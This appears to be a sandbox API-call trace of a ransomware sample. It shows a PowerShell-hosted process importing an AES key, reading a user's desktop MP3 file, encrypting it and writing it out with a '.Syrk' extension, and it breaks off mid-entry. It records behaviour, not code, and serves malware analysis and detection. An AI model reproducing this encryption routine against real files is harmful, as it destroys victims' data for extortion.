0x0 [0206.443] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0206.443] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0206.443] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.443] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0206.443] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0206.444] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.444] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0206.444] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0206.444] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.444] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0206.444] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0206.444] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0206.444] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0206.445] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0206.445] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0206.445] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0206.445] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0206.445] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0206.445] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0206.446] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.446] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0206.446] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0206.446] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0206.446] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.464] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0206.464] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0206.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0206.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0206.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0206.464] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.464] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0206.465] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0206.465] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.465] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0206.465] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0206.465] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.465] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0206.465] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0206.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0206.465] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0206.466] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.466] EtwEventActivityIdControl () returned 0x0 [0206.466] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0206.466] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.466] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0206.466] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0206.468] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d298) returned 1 [0206.470] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2513a64*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x3b5028) returned 1 [0206.470] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0206.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.471] EtwEventActivityIdControl () returned 0x0 [0206.471] EtwEventActivityIdControl () returned 0x0 [0206.471] EtwEventActivityIdControl () returned 0x0 [0206.477] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0206.479] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0206.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0206.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0206.480] EtwEventActivityIdControl () returned 0x0 [0206.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.481] EtwEventActivityIdControl () returned 0x0 [0206.481] EtwEventActivityIdControl () returned 0x0 [0206.481] EtwEventActivityIdControl () returned 0x0 [0206.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0206.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0206.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0206.482] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0206.483] GetFileType (hFile=0x42c) returned 0x1 [0206.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0206.483] GetFileType (hFile=0x42c) returned 0x1 [0206.483] EtwEventActivityIdControl () returned 0x0 [0206.483] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.484] EtwEventActivityIdControl () returned 0x0 [0206.484] EtwEventActivityIdControl () returned 0x0 [0206.484] EtwEventActivityIdControl () returned 0x0 [0206.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0206.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk", lpFilePart=0x0) returned 0x31 [0206.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0206.485] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0206.715] GetFileType (hFile=0x44c) returned 0x1 [0206.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0206.715] GetFileType (hFile=0x44c) returned 0x1 [0206.715] EtwEventActivityIdControl () returned 0x0 [0206.715] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x2523db0 | out: pbBuffer=0x2523db0) returned 1 [0206.716] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0206.716] CryptDuplicateKey (in: hKey=0x3b5028, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x3b50a8) returned 1 [0206.716] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0206.717] CryptSetKeyParam (hKey=0x3b50a8, dwParam=0x4, pbData=0x25250dc*=0x1, dwFlags=0x0) returned 1 [0206.717] CryptSetKeyParam (hKey=0x3b50a8, dwParam=0x1, pbData=0x25250a8, dwFlags=0x0) returned 1 [0206.717] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.717] EtwEventActivityIdControl () returned 0x0 [0206.718] EtwEventActivityIdControl () returned 0x0 [0206.718] EtwEventActivityIdControl () returned 0x0 [0206.719] EtwEventActivityIdControl () returned 0x0 [0206.719] ReadFile (in: hFile=0x42c, lpBuffer=0x2527d24, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x2527d24*, lpNumberOfBytesRead=0x5a2e6fc*=0xc689, lpOverlapped=0x0) returned 1 [0206.731] CryptEncrypt (in: hKey=0x3b50a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x234e6c4*, pdwDataLen=0x5a2e6f0*=0xc680, dwBufLen=0xc680 | out: pbData=0x234e6c4*, pdwDataLen=0x5a2e6f0*=0xc680) returned 1 [0206.731] WriteFile (in: hFile=0x44c, lpBuffer=0x2339254*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2339254*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0206.734] WriteFile (in: hFile=0x44c, lpBuffer=0x234f6b0*, nNumberOfBytesToWrite=0xb694, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x234f6b0*, lpNumberOfBytesWritten=0x5a2e6d4*=0xb694, lpOverlapped=0x0) returned 1 [0206.736] ReadFile (in: hFile=0x42c, lpBuffer=0x233a6b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x233a6b8*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0206.736] CryptEncrypt (in: hKey=0x3b50a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x235ad5c*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x235ad5c*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0206.736] CryptEncrypt (in: hKey=0x3b50a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x235ad78*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x235ad78*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0206.736] WriteFile (in: hFile=0x44c, lpBuffer=0x2339254*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x2339254*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0206.737] CloseHandle (hObject=0x44c) returned 1 [0206.752] CloseHandle (hObject=0x42c) returned 1 [0206.753] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.753] EtwEventActivityIdControl () returned 0x0 [0206.753] EtwEventActivityIdControl () returned 0x0 [0206.753] EtwEventActivityIdControl () returned 0x0 [0206.995] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0206.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0206.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0206.998] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0206.999] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0206.999] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0206.999] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0206.999] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0206.999] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0206.999] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0206.999] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0206.999] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0206.999] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0207.000] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0207.000] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0207.000] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0207.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0207.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0207.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0207.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0207.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0207.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", lpFilePart=0x0) returned 0x2c [0207.004] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0207.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0207.004] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0207.004] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0207.004] CoTaskMemFree (pv=0x5c7e518) [0207.007] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ltmu_vt fzdro.mp3")) returned 0x20 [0207.007] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ltMu_vt FZDRo.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0207.007] GetFullPathNameW 